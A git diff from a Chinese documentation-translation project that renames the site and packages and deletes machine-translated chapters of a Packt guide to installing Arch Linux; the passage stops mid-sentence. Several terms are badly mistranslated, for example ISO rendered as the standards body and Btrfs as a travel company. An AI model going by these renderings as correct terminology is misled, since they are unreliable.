diff --git a/CNAME b/CNAME index fa2ed902..e02eabee 100644 --- a/CNAME +++ b/CNAME @@ -1 +1 @@ -linux.flygon.net \ No newline at end of file +fllinux.flygon.net \ No newline at end of file diff --git a/NAV.md b/NAV.md index 3e5d9bf9..2eee3bf9 100644 --- a/NAV.md +++ b/NAV.md @@ -110,9 +110,9 @@ + [飞龙的 DevOps 译文集(三)📚](https://opendoccn.github.io/opendoccn-devops-zh-pt3) + [飞龙的 DevOps 译文集(四)📚](https://opendoccn.github.io/opendoccn-devops-zh-pt4) + [飞龙的 DevOps 译文集(五)📚](https://opendoccn.github.io/opendoccn-devops-zh-pt5) - + [飞龙的 Linux 译文集📚](https://opendoccn.github.io/opendoccn-linux-zh) - + [飞龙的 Linux 译文集(二)📚](https://opendoccn.github.io/opendoccn-linux-zh-pt2) - + [飞龙的 Linux 译文集(三)📚](https://opendoccn.github.io/opendoccn-linux-zh-pt3) + + [FreeLearning Linux 译文集📚](https://opendoccn.github.io/opendoccn-linux-zh) + + [FreeLearning Linux 译文集(二)📚](https://opendoccn.github.io/opendoccn-linux-zh-pt2) + + [FreeLearning Linux 译文集(三)📚](https://opendoccn.github.io/opendoccn-linux-zh-pt3) + [Cython 3.0 中文文档🚧](https://opendoccn.github.io/cython-doc-zh) + [Git 中文参考🚧](https://opendoccn.github.io/git-doc-zh) + [Gitlab 中文文档🚧](https://opendoccn.github.io/gitlab-doc-zh) diff --git a/README.md b/README.md index cec33d40..95d8f906 100644 --- a/README.md +++ b/README.md @@ -1,25 +1,26 @@ -# 飞龙的 Linux 译文集 +# FreeLearning Linux 译文集 > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) > > 这世界上有一种鸟是没有脚的,它只能够一直的飞呀飞呀,飞累了就在风里面睡觉,这种鸟一辈子只能下地一次,那一次就是它死亡的时候。——《阿飞正传》 -* [在线阅读](https://linux.flygon.net) +* [在线阅读](https://fllinux.flygon.net) + ## 下载 ### Docker ``` -docker pull apachecn0/flygon-linux-zh -docker run -tid -p :80 apachecn0/flygon-linux-zh +docker pull apachecn0/freelearn-linux-zh +docker run -tid -p :80 apachecn0/freelearn-linux-zh # 访问 http://localhost:{port} 查看文档 ``` ### NPM ``` -npm install -g flygon-linux-zh -flygon-linux-zh +npm install -g freelearn-linux-zh +freelearn-linux-zh # 访问 http://localhost:{port} 查看文档 ``` diff --git a/docs/arch-linux-env-setup/0.md b/docs/arch-linux-env-setup/0.md deleted file mode 100644 index a1b8be71..00000000 --- a/docs/arch-linux-env-setup/0.md +++ /dev/null @@ -1,132 +0,0 @@ -# 零、前言 - -Arch Linux 是独立开发的通用 GNU/Linux 发行版,针对 i686/x86-64 系统进行了优化。发行版功能多样,足以满足您的任何角色/需求。它的设计注重简单性、代码优雅性和“自己动手”原则。Arch Linux 的基本安装是一个非常小的基础系统。从基础系统来看,一切都可以而且将由用户进行配置,以适合他们的理想环境,适合他们自己独特的目的。支持的配置方法是从 shell 编辑简单的文本文件。作为一个滚动发行版,没有固定的发行版。发布工程团队不时会提供新的安装映像,因此安装介质适合随着时间的推移引入的新功能。由于这种滚动发布模式,Arch Linux 为您提供了最前沿的软件,通常是最新的稳定版本。Pacman 是 Arch Linux 的包管理器,它被设计成一个易于使用的二进制包管理器。 - -# 历史 - -Arch Linux 由 Judd Vinet 于 2002 年创建,他的灵感来自于其他一些 Linux 发行版的优雅和简单,如 Slackware、Polish Linux 发行版和 CRUX。但是这种简单没有包管理器,这是一个很大的失望。基本上,为了让自己的生活更轻松,贾德·维内特(Judd Vinet)用 pacman 作为包管理器启动了 Arch Linux,该包管理器可以自动处理包的安装、升级或删除。多年来,Arch Linux 不断获得更多的用户和开发人员,现在已经在发行版上进入前 10 名很长一段时间了。Arch Linux 还在由志愿者开发,没有一些大公司做后盾;目标是在这个词的每一个意义上保持*自由*。2007 年,贾德·维内特将项目主导权交给了亚伦·格里芬,他至今仍是首席 Linux 开发人员。 - -# 拱道 - -Arch Linux 哲学,也被描述为“Arch Way”,通常被总结为 KISS(保持简单愚蠢)。在这个核心中定义了五个核心原则:哲学、简单、代码正确性优先于便利性、以用户为中心、开放和自由。 - -**简单性**绝对是 Arch 开发的基础目标,其思想是高质量代码的轻量级基础结构将具有较低的系统资源需求。在 Arch Linux 中找到的基本系统没有可能隐藏部分系统或难以访问部分系统的混乱。所有的配置文件都很简单,文档记录得很好,易于阅读,并且安排得很好,便于快速编辑。没有特殊的配置工具可以对用户隐藏可能性,这导致系统可以配置到最后的细节。Arch Linux 开发人员认为,试图隐藏系统的复杂性会导致更复杂的系统,这应该始终避免。 - -> Arch Linux 将简单性定义为没有不必要的添加、修改或复杂,并提供了一个轻量级的类似 UNIX 的基础结构,允许单个用户根据自己的需求来塑造系统。简而言之:优雅、极简的方法。 - -**代码正确性超过便利性**意味着干净、正确、简单的代码,而不是不必要的修补、自动化、引人注目的糖果或“新手友好”。仅在需要时才引入软件补丁。在 Arch Linux 中找到的包实际上是开发人员创建它们的方式,仅此而已。 - -> 实现的简单性、代码的优雅性和极简主义将永远是 Arch 开发的首要任务。 - -以**用户为中心**意味着用户完全自主管理系统。该系统不会提供任何帮助。有一套简单的维护工具,可以简单地传递用户给出的命令。Arch Linux 基于简单、合理的设计和优秀的文档。作为用户,您需要更多的“自己动手”的方法,而不是要求开发人员实现新的功能。大多数 Arch 用户确实有解决他们的问题并与整个社区共享的倾向,这也导致了开发人员和用户的友好和有用的社区。 - -> Arch Linux 通过给予合格的 GNU/Linux 用户对系统的完全控制和责任来瞄准和容纳他们。 - -**开放性**在刚才讨论的原则中也有简要的触及,表示大多数 Arch 用户分享了他们遇到的问题的解决方案。此外,Arch Linux 开发人员努力实现一个开放的系统,这与简单性密不可分。开放是为了让事情变得简单。它还消除了事物的抽象,这可能会导致更陡峭的学习曲线,但最终它会导致一个易于控制和维护的系统。更有经验的 Arch 用户会发现其他发行版提供的一些助手工具很麻烦,并且妨碍了简单快速的配置。众所周知,Arch Linux 社区也非常开放,愿意给出建议。 - -> Arch Linux 使用简单的工具,这些工具是在考虑到源代码及其输出的开放性的情况下选择或构建的。 - -**自由**可能是你开始使用基于 Linux 的操作系统时得到的最重要的东西之一。这就是 Arch Linux 是领先发行版之一的地方,所有关于系统的配置和决策都由用户做出。最终,用户定义了系统。Arch Linux 是以这样一种方式构建的,如果你真的想的话,你可以重建整个系统。它甚至为此提供了一个简单的工具。整个系统和所有组件都是 100%透明的,因此您可以用提供相同功能的其他东西来替换所有东西。除此之外,Arch Linux 还提供了完全使用开源软件的自由,但是您也可以毫无麻烦地使用专有软件包。 - -> 通过保持系统简单,Arch Linux 提供了对系统进行任何选择的自由。 - -最后引用贾德·维内特的话: - -> [Arch Linux]就是你做出来的。 - -# 出血边缘 - -Arch Linux 努力维护并在其存储库中拥有最新最好的软件。作为一个滚动发布的发行版,它允许一次安装并持续更新,而不必重新安装或进行大量程序来升级系统。出血边缘的目标也是提供 Linux 世界中出现的最新功能—无论是在文件系统(ext4、ReiserFS、XFS、JFS、Btrfs、NILFS 等)、软件 RAID 还是引导脚本(systemd)领域—以及支持最新硬件的最新功能,因为最新内核的即时可用性。 - -# 这本书涵盖了什么 - -*使用官方 ISO(应该知道)*安装 Arch Linux,解释了使用官方安装介质在您的系统上安装 Arch Linux 的过程。 - -*使用 Archboot ISO(应该知道)*安装 Arch Linux,解释了使用 Archboot 安装介质在您的系统上安装 Arch Linux 的过程。 - -*配置您的系统(应该知道)*,解释在哪里设置您的主机名,加载特殊模块,并具有不同于 QUERTY 的键盘布局。 - -*安装和删除软件包(必须知道)*,解释如何使用软件包管理器(pacman)添加和删除软件包。 - -*使用 systemd(应该知道)*引导和管理服务,解释如何配置和管理系统启动,以及哪些服务正在自动启动,但使用 systemd 而不是 sysvinit。 - -*使用 initscripts 引导和管理服务(应该知道)*,解释如何配置和管理系统启动,以及使用 initscripts 自动启动哪些服务。 - -*使用 Xorg(应该知道)*配置图形用户界面,简要说明如何启动和运行您的图形用户界面。 - -# 这本书你需要什么 - -一般来说,当阅读这本书时,我们假设您已经对如何安装和使用 Linux 发行版(如 Ubutnu、openSUSE、Fedora 等)有了基本的了解。 - -总的来说,Arch Linux 的目标是更有经验的用户,也是拥有“自己动手”心态的用户。 - -# 这本书是给谁的 - -对于那些热爱自由软件并希望使用超级可定制的 Linux 发行版的人,所有希望最新软件发布时的人,以及所有希望最终拥有一个根据自己的需求和愿望定制的系统的人来说,Arch Linux 是一条必经之路。 - -# 惯例 - -在这本书里,你会发现许多区分不同种类信息的文本风格。以下是这些风格的一些例子,以及对它们的含义的解释。 - -文本中的码字如下所示:“在内核命令行中添加`nomodeset`参数,确保开源驱动不会介入。” - -代码块设置如下: - -```sh -Section "InputClass" - Identifier "evdev keyboard catchall" - MatchIsKeyboard "on" - MatchDevicePath "/dev/input/event*" - Driver "evdev" - Option "XkbModel" "pc105" - Option "XkbLayout" "be" -EndSection -``` - -当我们希望将您的注意力吸引到代码块的特定部分时,相关的行或项目以粗体显示: - -```sh -DAEMONS=(syslog-ng !network crond) -``` - -任何命令行输入或输出都编写如下: - -```sh -systemctl list-units --type=service -systemctl list-units -a --type=service - -``` - -**新名词**和**重要词语**以粗体显示。您在屏幕上看到的单词,例如在菜单或对话框中,出现在如下文本中:“T4 自动准备选项将指导您创建默认分区方案。” - -### 注 - -警告或重要提示会出现在这样的框中。 - -# 读者反馈 - -我们随时欢迎读者的反馈。让我们知道你对这本书的看法——你喜欢或可能不喜欢什么。读者反馈对我们开发您真正能从中获得最大收益的标题非常重要。 - -要给我们发送一般反馈,只需向`<[feedback@packtpub.com](mailto:feedback@packtpub.com)>`发送电子邮件,并通过您消息的主题提及书名。 - -如果你对某个主题有专业知识,并且对写作或投稿感兴趣,请参阅我们在[www.packtpub.com/authors](http://www.packtpub.com/authors)上的作者指南。 - -# 客户支持 - -现在,您已经自豪地拥有了一本书,我们有许多东西可以帮助您从购买中获得最大收益。 - -## 勘误表 - -尽管我们尽了最大努力来确保我们内容的准确性,但错误还是会发生。如果你在我们的某本书里发现了错误——可能是文本或代码中的错误——如果你能向我们报告,我们将不胜感激。通过这样做,你可以让其他读者免受挫折,并帮助我们改进这本书的后续版本。如果您发现任何勘误表,请访问[http://www.packtpub.com/support](http://www.packtpub.com/support),选择您的书籍,点击**勘误表提交表**链接,并输入您的勘误表的详细信息。一旦您的勘误表被核实,您的提交将被接受,勘误表将被上传到我们的网站,或添加到该标题的**勘误表**部分下的任何现有勘误表列表中。 - -## 盗版 - -互联网上版权材料的盗版是所有媒体的一个持续问题。在 Packt,我们非常重视版权和许可证的保护。如果您在互联网上遇到任何形式的我们作品的非法拷贝,请立即向我们提供位置地址或网站名称,以便我们寻求补救。 - -请通过`<[copyright@packtpub.com](mailto:copyright@packtpub.com)>`联系我们,获取疑似盗版资料的链接。 - -我们感谢您在保护我们作者方面的帮助,以及我们为您带来有价值内容的能力。 - -## 问题 - -如果您对本书的任何方面有问题,可以在`<[questions@packtpub.com](mailto:questions@packtpub.com)>`联系我们,我们将尽最大努力解决。 \ No newline at end of file diff --git a/docs/arch-linux-env-setup/1.md b/docs/arch-linux-env-setup/1.md deleted file mode 100644 index 9b7df637..00000000 --- a/docs/arch-linux-env-setup/1.md +++ /dev/null @@ -1,1311 +0,0 @@ -# 一、Arch Linux 环境设置操作指南 - -欢迎使用 Arch Linux 环境设置指南。Arch Linux 是一个非常灵活的发行版,这本书将指导你找到一个基本的系统。从那以后,你可以去任何你想去的方向。一个简单的服务器,一个完整的桌面系统,所有的华而不实。最终,Arch Linux 总是你对它的看法。 - -# 使用官方 ISO 安装 Arch Linux(应该知道) - -如今,安装 Arch Linux 可能看起来像是一件疯狂的工作,因为官方媒体上没有安装程序,只有一个指导方针可以遵循。没有安装程序的安装非常简单。对于有经验的用户来说,不用安装程序安装就更方便了。最新的 ISOs 要求您将机器连接到互联网,因为安装介质上不再有可用的软件包。 - -## 做好准备 - -可以从[https://www.archlinux.org/download/](https://www.archlinux.org/download/)获得官方 ISO 图像文件。在此页面上,您将找到最新版本的下载链接。根据您的喜好,立即下载种子文件或国际标准化组织图像文件。 - -以下列表描述了我们将在本食谱中执行的主要任务: - -* **准备、引导、设置键盘布局**:我们准备从 Arch Linux 网站的下载页面获取 ISO 文件,存储在我们选择的首选介质上。在撰写本书时,在一个磁盘上有一个包含 i686 和 x86-64 架构的双 ISO 映像文件。用您喜欢的安装介质(光盘或 u 盘)启动电脑。在大多数电脑系统上,您可以通过按其中一个功能键来访问引导菜单,通常是在 *F8* 和 *F12* 之间,具体取决于主板制造商。在没有引导菜单的旧机器上,您可能需要在 BIOS 中更改引导顺序,在 BIOS 中,必须选择光盘(或 DVD/蓝光)作为尝试引导的第一个设备。我们还将解释如何使用不同于本食谱中默认的键盘布局。 -* **创建、格式化和安装分区**:您可以使用 cfdisk(用于 MBR 磁盘分区)或 cgdisk(用于 GUID 磁盘分区)按照您想要的方式对磁盘进行分区。创建分区后,我们可以选择用特定的文件系统格式化我们创建的分区。当所有分区都格式化后,我们需要挂载分区。首先我们将根分区挂载到`/mnt`。创建特定文件夹后,其他分区将在稍后装入。我们将用`/dev/sdX`指定我们的设备;对你来说,这可以是`/dev/sda`等等。 -* **连接到互联网**:为了能够继续安装 ISO,你需要连接到互联网,因为 ISO 上没有可供安装的软件包。对于无线网络,您需要使用 netcfg。当连接到有线网络时,只需使用 dhcpcd 或 dhclient。 -* **安装基础系统和引导加载程序**:现在基础系统是通过运行一个简单的脚本**打包**来安装的。Pacstrap 采用多个参数、目标位置以及您想要安装的包或组。对于想在自己的机器上开发的人来说,最好的`base`安装就是在默认安装的基础上增加`base-devel`。对于普通终端用户来说,只要`base`就足够了。 -* **配置系统**:在这个食谱中,我们将描述配置过程中要做什么的流程。有关如何配置系统的更多信息,请参考*配置系统*配方。 - -## 怎么做... - -以下步骤将指导您准备、引导和设置键盘布局: - -1. Once you have downloaded the ISO image file, you should also verify its integrity by downloading the `sha1sums.txt` file from the download page. - - ### 注 - - 现在你也可以通过验证国际标准化组织的签名来检查国际标准化组织是否完全有效。 - -2. Verify the integrity by issuing the `sha1sum -c sha1sums.txt` command and you'll see whether your download was successful or not. Also check if the signature of the ISO is correct by running `gpg -v archlinux-...iso.sig`: - - ```sh - sha1sum -c sha1sums.txt - gpg -v archlinux-2012-08-04-dual.iso.sig - - ``` - - 以下屏幕截图显示了该步骤的执行情况: - - ![How to do it...](img/9724OS_01_01.jpg) - -3. 正如您在前面的截图中看到的,ISO 的校验和是正常的,签名是有效的。 -4. 现在我们确定我们的 ISO 没问题了,我们可以用我们最喜欢的刻录程序把这个刻录成光盘。 -5. 将光盘插入驱动器,或将 u 盘插入电脑的 USB 端口。 -6. 进入引导菜单,或者让计算机从插入的安装介质自动引导。 -7. If the previous steps are performed correctly, you will see the following screenshot: - - ![How to do it...](img/9724OS_01_02.jpg) - -8. 选择你想要的架构,按*进入*,我们就上路了。 -9. 搜索您所在地区所需的键盘布局。可用的键盘布局可以在`/usr/share/kbd/keymaps/`找到。 -10. 用`loadkeys keyboardlayout`设置所需的键盘布局。 - -现在,让我们执行以下步骤来创建、格式化和装载分区: - -1. 启动 cfdisk 或 cgdisk,将第一个参数作为要分区的设备: - - ```sh - cfdisk /dev/sdX - cgdisk /dev/sdX - - ``` - -2. 创建您的分区方案。 -3. 存储分区方案。 -4. 使用`mkfs`命令在特定分区上创建文件系统: - - ```sh - mkfs -t vfat /dev/sdX - mkfs.ext4 -L root /dev/sdX - - ``` - -5. 将根分区安装到`/mnt` : - - ```sh - mount /dev/sdX3 /mnt - - ``` - -6. 在`mount`下为其他分区创建目录: - - ```sh - mkdir -p /mnt/boot - - ``` - -7. 安装其他分区: - - ```sh - mount /dev/sdX1 /mnt/boot - - ``` - -连接到互联网需要以下步骤: - -1. 当我们需要无线网络时,创建一个 netcfg 配置文件并运行`netcfg mywireless`。 -2. 使用 dhclient 或 dhcpcd 获取 IP 地址。 - -安装基本系统和引导加载程序时,应执行以下步骤: - -1. 使用所需参数运行打包程序: - - ```sh - pacstrap /mnt base base-devel - - ``` - -2. 安装想要的引导加载程序:目前最好的选择是 Syslinux。 -3. 引导加载程序的最终安装将在初始配置期间在 chroot 中完成(将在本书后面讨论)。 - -我们现在将列出配置过程中要执行的步骤: - -1. 用`genfstab`生成`fstab`: - - ```sh - genfstab -p /mnt >> /mnt/etc/fstab - - ``` - -2. 将根目录改为系统位置: - - ```sh - arch-chroot /mnt - - ``` - -3. 在`/etc/hostname`中设置您的主机名。 -4. 创建`/etc/localtime symlink`。 -5. 在`/etc/locale.conf`中设置您的区域设置。 -6. 在`/etc/locale.gen`中取消对已配置区域的注释。 -7. 运行`locale-gen`。 -8. 配置`/etc/mkinitcpio.conf`。 -9. 生成您的初始内存盘: - - ```sh - mkinitcpio -p linux - - ``` - -10. 完成引导加载程序的安装。 -11. 用`passwd`设置根密码。 -12. Leave the chroot environment (`exit`). - - ### 注 - - 有关如何配置系统的更多信息,请参考*配置系统*配方。 - - ### 注 - - 关于执行的主要任务的详细描述,请参考本食谱的*准备*部分。 - -## 它是如何工作的... - -我们通过 torrent 下载了 ISO 映像文件,或者通过 HTTP 从下载页面上列出的镜像站点下载。`sha1sum`命令让我们验证下载的 ISO 的完整性。除了校验和之外,我们还可以通过验证可用于国际标准化组织的签名来检查完整性。所以现在,我们可以放心,下载的文件是真实的。国际标准化组织包含一个完全运行的操作系统。它还包含执行系统恢复和安装的所有必要工具。 - -用`loadkeys`设置的键盘配置将确保您在键盘上按下的键将被翻译成屏幕上正确的字母。使用与物理键盘不同的键盘布局可能会令人困惑。 - -然后,我们使用适当的工具(cfdisk 或 cgdisk)在选定的磁盘上创建分区方案。**制作文件系统** ( **mkfs** )是创建文件系统的统一前端。使用它,我们在`/mnt`下手动创建了我们的文件系统布局,方法是在根目录下创建我们的默认分区布局,并相应地挂载特定的分区。 - -您可以与您的无线网络建立连接(如果需要),然后使用 dhcpcd 或 dhclient 获取一个使您能够访问互联网的 IP 地址。 - -Pacstrap 将使用修改后的根位置运行**pack man**,以将所需的包安装到新创建的系统中。 - -例如,安装 Syslinux: - -```sh -pacstrap /mnt syslinux - -``` - -特定的配置文件将确保我们不必在每次启动时都重复执行所有这些步骤。 - -## 还有更多... - -如果您愿意,可以直接从 u 盘使用官方 ISO。国际标准化组织的验证可能存在一些问题。接下来的两节将讨论它们,并为您提供解决方案。 - -### 从 u 盘使用国际标准化组织 - -为 Arch Linux 下载的 ISOs 都是“混合”映像,这意味着您可以将它们放在 u 盘上,它们将是可引导的。所以从 u 盘安装也很简单。将 u 盘放入机器中(*警告:它将丢失所有数据*)并发出以下命令: - -```sh -dd if=archlinux-2012.08.04-dual.iso of=/dev/sdX bs=1M - -``` - -### 注 - -确保你有`if=the correct ISO filename`和`of=/dev/sdX`,在这里你不会像`/dev/sdX1`那样使用 u 盘的*分区*,而是使用完整的 u 盘。所以只能用`/dev/sdX`。 - -### 验证 ISO 签名有问题? - -当你的`gpg keyring`中没有签名人的公钥时,你会得到一个类似**的错误 gpg:无法检查签名:没有公钥**。这意味着您必须首先导入签名者的公钥,然后才能验证签名: - -```sh -gpg --keyserver wwwkeys.pgp.net --recv-keys 0x9741E8AC - -``` - -导入公钥,在本例中是皮埃尔·施密茨的公钥。然后可以再次运行 ISO 的验证。验证现在应该会给你 **gpg:来自“Pierre Schmitz”**的良好签名。完成此处描述的步骤后,您将收到一条警告,指出密钥未通过可信签名认证。在验证国际标准化组织完整性的情况下,这并不重要。有关 GPG 和签名的更多信息,请参见[http://www.gnupg.org/](http://www.gnupg.org/)。 - -下一节将讨论一个好的桌面分区方案的常见示例。 - -### 一个不错的桌面分区方案 - -在桌面系统上,尤其是 Arch Linux,我个人建议有一个单独的`/var`分区。根据您对该分区的其他目标(例如,运行一个巨大的 MySQL 数据库、其他数据库等),合理的值应该是 5 GB 及以上。不要过度,否则`/var`分区会有很多空位。为什么把`/var`搞得这么大?Pacman 将其缓存保存在`/var`中,您并不真的希望根文件系统被充满包缓存的磁盘所死锁。 - -* **引导分区** : 50 MB -* **交换分区**: - * 当您的内存小于 4 GB 时:内存+三分之一的内存 - * 当您的内存大于 4 GB 时:将其固定在 4 GB 上(实际上没有必要将其变大) -* **根分区** : 10 GB(游戏玩家可能想在这里转到 50 GB) -* **Var 分区** : 5 GB(如果只用于缓存),上面存储了一些数据库的数据;我会根据需要上去 -* **家庭分区**:这些天你最终会拥有 300 到 400 GB 甚至更多 - -最初由 Arch Linux 开发的 netcfg 工具为我们提供了大量的选项,我们将在下一节中讨论。 - -### Netcfg 样本配置 - -示例配置可以在`/etc/network.d/examples`文件夹中找到。在下表中,我们给出了 netcfg 包提供的示例配置列表: - - -| - -连接类型 - - | - -示例配置文件 - - | -| --- | --- | -| 无线/WEP 十六进制密钥 | `wireless-wep` | -| 无线/WEP 字符串密钥 | `wireless-wep-string-key` | -| 无线/WPA-个人(密码/预共享密钥) | `wireless-wpa` | -| 无线/WPA-企业 | - -* `wireless-wpa-config` (`wpa_supplicant` is configured as external) -* `wireless-wpa-configsection` (`wpa_supplicant` Configuration is stored as a string) - - | -| 有线/DHCP | `ethernet-dhcp` | -| 有线/静态 IP | `ethernet-static` | -| 有线/iproute 配置 | `ethernet-iproute` | - -### 注 - -关于接下来一些部分的更详细的解释,我会让你参考*配置你的系统*配方。 - -### Genfstab 额外选项 - -如果您喜欢在`fstab`文件中使用 UUID 或标签,您可以向`genfstab`脚本传递一个额外的参数:`U`用于 UUID 或`L`用于标签。 - -### 最终安装 Syslinux - -Syslinux 的最终安装必须在封闭的环境中完成。 - -```sh -/usr/sbin/syslinux-install_update -iam - -``` - -如果前一个命令在尝试设置引导标志时失败,请使用以下命令: - -```sh -/usr/sbin/syslinux-install_update -im - -``` - -成功安装 Syslinux 后,通过编辑`/boot/syslinux/syslinux.cfg`配置系统的引导方式。 - -# 使用 Archboot ISO 安装 Arch Linux(应该知道) - -在这个食谱中,我们将学习安装 Arch Linux。由于手动安装过程,这可能看起来有点可怕,但一点也不难。安装脚本实际上将指导您完成整个安装过程,您可以让系统在不到 10 分钟的时间内启动。在 Arch Linux 生态系统中,由于包的滚动发布,安装通常是一次完成,然后就再也不会了。也可以在[https://wiki.archlinux.org/index.php/Beginners'_Guide](https://wiki.archlinux.org/index.php/Beginners'_Guide)查看*初学者指南*,了解 Arch Linux 的全部内容。由于 Arch Linux 是一个不断移动的目标,首选的安装方法是当您连接到互联网时,这样您就可以获取所有最新和最好的软件。即使在下载之前,也必须阅读[http://www.archlinux.org/news/](http://www.archlinux.org/news/)关于任何新发展的最新消息。 - -当我们只想要一点 Arch Linux 的味道,并且可能远不能确定这就是我们想要的全天使用时,考虑通过将其安装在虚拟机中来学习系统如何工作。在*初学者指南*中,有一个关于它的有用部分,位于[https://wiki . archlinux . org/index . PHP/初学者指南# Install _ on _ a _ virtual _ machine](https://wiki.archlinux.org/index.php/Beginners'_Guide#Install_on_a_virtual_machine)。 - -## 做好准备 - -我们可以从[http://wiki.archlinux.org/index.php/Archboot](http://wiki.archlinux.org/index.php/Archboot)获得大靴 ISO。在此页面上,我们将找到最新版本的下载链接。我们可以选择立即下载种子文件或国际标准化组织。 - -以下列表描述了我们将在本食谱中执行的主要任务: - -* **准备安装介质**:我们准备从 Archboot wiki 页面下载 ISO 文件,保存在我们选择的首选介质上。在撰写本文时,可以选择在一个磁盘上下载特定于体系结构的 ISO 或包含 i686 和 x86-64 体系结构的双 ISO。我建议下载双 ISO,这使得在任何电脑和任何这些架构上安装都没有任何麻烦。 -* **引导安装介质并开始安装**:使用您喜欢的安装介质(光盘或 u 盘)启动电脑。在大多数电脑系统上,您可以通过按其中一个功能键进入启动菜单,通常是在 *F8* 和 *F12* 之间,具体取决于主板制造商。在没有引导菜单的旧机器上,您可能需要在 BIOS 中更改引导顺序,在 BIOS 中,必须选择光盘(或 DVD/蓝光)作为尝试引导的第一个设备。 -* **设置键盘和控制台字体**:当使用不同于默认的键盘布局时,您肯定需要这个配方来配置您特定的键盘布局,并可选地配置您喜欢的控制台字体。如果您已经配置了这两项,安装程序还会将这些设置纳入我们已安装系统的配置中。 -* **设置日期和时间**:在这个食谱中,我们还将配置三个小部分——我们将设置我们的时区、当前时间和当前日期。 -* **Auto preparing hard drive**: The **Auto-Prepare** option will guide you with the creation of a default partition scheme. When we can't have our entire drive erased, or we want to differ from the default partition scheme chosen by the installer, we should skip to the steps for *Manually preparing hard drive*. - - ### 注 - - 警告:选定的硬盘将被完全擦除。 - -* **手动准备硬盘**:手动分区让你完全控制自己创建多少分区。这也可能涉及多个磁盘,因此完全自由。当您习惯分区时,请使用手动准备。 -* **选择来源**:我们可以选择是从互联网上可用的存储库中安装,还是从安装介质上可用的软件包中立即安装。最好选择文件传输协议/超文本传输协议,因为这将确保我们有最新的软件包可用。 -* **选择软件包**:在我看来,选择你的软件包最好的方法就是先安装基础系统。当我们完成并且系统独立启动时,根据需要添加软件包。安装程序会询问您是否想要添加额外的存储库,以便您能够一次安装所有内容。我认为这里的安全选项是不包含额外的存储库,从基础系统开始。一般来说,在需要的时候安装应用会更快。安装后,我们应该只检查一些自动创建的配置文件,以确保安装程序正确创建它们,并且我们将在安装引导加载程序后重新启动时获得一个可引导的系统。稍后将解释更广泛的配置。如果您想在安装过程中更改这里的任何内容,我建议您跳到*配置您的系统*配方,其中详细解释了配置。 -* **安装引导加载程序**:到食谱的最后,我们将拥有几乎所有我们需要的东西。然而,为了让我们的机器真正可用,我们将不得不安装引导加载程序,因为这款软件将使我们能够在重启时进入 Arch Linux。 - -## 怎么做... - -让我们执行以下步骤来准备安装介质: - -1. 一旦我们下载了国际标准化组织图像文件,我们必须通过从`archboot`文件夹下载`md5sum.txt`文件来验证其完整性。 -2. We will verify the integrity by issuing the `md5sum -c md5sum.txt` command and checking whether our download was successful: - - ![How to do it...](img/9724OS_02_01.jpg) - -3. 正如我们所看到的,所有的 ISOs 都被下载了,但是 torrent 文件没有。这导致一些成功的检查和其他国家的文件没有找到,但最终我们知道我们下载的国际标准化组织文件是可以的。 -4. 现在我们确定我们的 ISO 没问题了,我们可以用我们最喜欢的刻录程序把这个刻录成光盘。 - -以下步骤将指导您引导安装介质并开始安装: - -1. 将光盘插入驱动器或将 u 盘插入电脑的 USB 端口。 -2. 进入引导菜单或让计算机从插入的安装介质自动引导。 -3. If the previous steps went fine, we should see the following screenshot: - - ![How to do it...](img/9724OS_02_02.jpg) - -4. 根据我们是要引导**长期支持的** ( **LTS** )还是默认内核来选择架构。默认内核应该没问题,但是如果我们出于稳定性的原因想要运行 LTS 内核,我们可以选择它。按*回车*我们就上路了。 -5. When the installation media is completely started, we get some initial information about the Archboot environment. When we press *Enter*, the installation scripts will be started: - - ![How to do it...](img/9724OS_02_03.jpg) - -6. When ready to go, press *Enter* and we will be presented with the **MAIN MENU** screen. The menu contains several steps that are followed in a chronological order for a fresh installation: - - ![How to do it...](img/9724OS_02_04.jpg) - -让我们执行以下步骤来设置键盘和控制台字体: - -1. 我们将看到键盘布局选项,您将获得一个列表,其中包含 Arch Linux 支持的所有可能的键盘布局。选择您的键盘布局并继续。 -2. 或者,您也可以选择自己喜欢的控制台字体。如果您不知道或不想这样做,只需返回主安装程序菜单并继续下一步。如果您有偏好,则选择**设置控制台字体选项**并选择您的字体。 - -让我们设置时区、当前时间和当前日期: - -1. 选择时区。这类似于大陆/首都。比如欧洲/布鲁塞尔。 -2. 为您的硬件时钟选择 **UTC** 。这将确保正确应用夏令时更改。 -3. 设置您当前的系统时间。这实际上是它现在在你的时区的时间。 -4. 设置您当前的系统日期。 - -要自动准备硬盘,应执行以下步骤: - -1. 首先,您可以选择使用旧的 MBR 分区表或新的 GUID (GPT)分区表。选择权完全在你。但是,对于较旧的机器,安全的选择是 MBR。对于较新的机器和带有 UEFI 启动的机器,建议使用 GPT 分区表。 -2. 选择您想要用于引导`(/boot`分区的大小。 -3. 选择要用于交换`(/swap`分区的大小。 -4. 选择要用于根`(/root`分区的大小。 -5. 剩余的磁盘空间将自动用于您的主(`/home`)分区,所有用户的数据都将驻留在该分区中。 -6. 选择要用于根分区和主分区的文件系统。这里最安全的选择是 ext4。如果你是一个有冒险精神的人,你可以去英国旅游公司或 NILFS。在选择使用当前标记的实验性文件系统之前,如果它确实是您想要使用的东西,请进行研究。 -7. 选择要在配置文件中使用的命名系统。 -8. 当我们完全确定一切正常时,我们继续,安装程序将准备整个驱动器。如果一切顺利,安装程序将声明准备成功。 - -手动准备硬盘时,应执行以下步骤: - -1. 选择分区类型(MBR 或 GPT)。有关详细信息,请参见为*自动准备硬盘*执行的步骤 1。 -2. 选择要分区的磁盘。 -3. 安装程序会根据您是选择使用 MBR 分区还是 GPT 分区向您显示 cfdisk 或 cgdisk。 -4. 创建分区后,我们需要回到分区菜单,使用**设置文件系统挂载点**选项。 -5. 首先,您需要选择要用作交换的分区。 -6. 然后,安装程序将要求您为您的系统选择根分区。 -7. After these required partitions are selected, you can keep on selecting partitions and set their mount points to the location you want. - - ### 注 - - 当我们进行手动分区布局时,我们可以应用手动部分中自动准备部分的提示。然而,通过使用手动方法,您获得了很多额外的自由来创建您喜欢的分区方案。 - -选择信号源需要以下步骤: - -1. 选择光盘或文件传输协议。 -2. 配置您的网络。 -3. 选择您想要使用的镜像(只有在选择了 FTP/HTTP 时才需要这样做)。 - -选择软件包需要以下步骤: - -1. 不要启用额外的存储库。 -2. 只选择**基地**;这包含了安装后获得一个工作系统所需的所有包。 -3. 选择要安装的软件包。 -4. 让安装脚本完成安装软件包的工作。 - -最后,让我们安装引导加载程序: - -1. Choose the boot loader you like the best. - - 最著名的将是 GRUB 和 